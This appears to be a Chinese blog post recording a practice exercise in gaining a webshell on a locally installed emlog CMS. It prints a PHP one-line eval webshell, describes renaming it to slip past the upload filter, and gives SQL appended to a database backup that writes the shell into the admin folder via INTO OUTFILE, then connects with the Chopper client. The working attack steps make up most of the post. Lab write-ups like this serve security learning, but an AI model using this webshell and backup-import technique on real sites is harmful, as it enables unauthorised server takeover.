zoukankan      html  css  js  c++  java
  • 2019-11-7:练习上传getshell,通过菜刀连接

    一、使用phtstudy搭建环境

    1,将emlog源码解压到phpstudy的www目录,复制emlog源码中的src所有文件到需要搭建emlog的目录中,修改emlog配置文件,输入好本机mysql账户信息,之后访问emlog,根据情况设置填写信息

    二、寻找上传文件路径,上传getshell

    查询资料发现后台admin界面有个信息泄漏漏洞,get action=phpinfo可以得到phpinfo,成功getshell需要利用下

    1,首页是没有上传按钮的,所以需要登录管理后台,登录之后在发布文章的地方有上传选项,允许类型有不少rar zip gif jpg jpeg png txt pdf docx doc xls xlsx

    2,上传webshell,准备好一句话php文件,直接上传,提示文件类型错误,明显直接上传php文件不行

    <?php eval(@_POST['aaa']);?>

     3,修改成网站允许的文件后缀名之后尝试上传,发现只是修改文件后缀之后就可以上传成功,截图显示图是裂的没关系,因为是直接将php改后缀的没有图像数据所以是正常现象

    4,上传成功之后,我以为可以直接getshell,发现自己天真了,到网站上传路径,发现所有上传的文件都只能是图片类型或其他类型,直接传脚本的方式不可行了,需要找其他方法

    5,查找资料,发现后台有一个备份数据功能,还有导入本地备份功能,正式开始getshell

     

    6,点击备份数据,将数据库的文件备份出来,在最后加入以下语句

    Drop TABLE IF EXISTS emglog_shell;
    create table emlog_shell(`cmd` text(999) not null);
    INSERT INTO emlog_shell VALUES ('<?php @eval($_POST["aaa"]);?>');
    Select cmd from emlog_shell into outfile 'D:/phpstudy_pro/WWW/emlog/admin/shell.php';
    Drop TABLE IF EXISTS emglog_shell;

     7,导入数据,发现成功导入shell.php

     8,菜刀配置连接,成功getshell

  • 相关阅读:
    Flutter高仿微信项目开源-具即时通讯IM功能
    flutter 如何实现文件读写(使用篇)
    这是我的第一篇博客,测试文章
    对于ServiceManager的理解
    Class文件结构
    App进程的启动
    对于SystemServer的理解
    对于Zygote的理解
    Git内部原理浅析
    二叉搜索树(BST)基本操作
  • 原文地址:https://www.cnblogs.com/sym945/p/11815809.html
Copyright © 2011-2022 走看看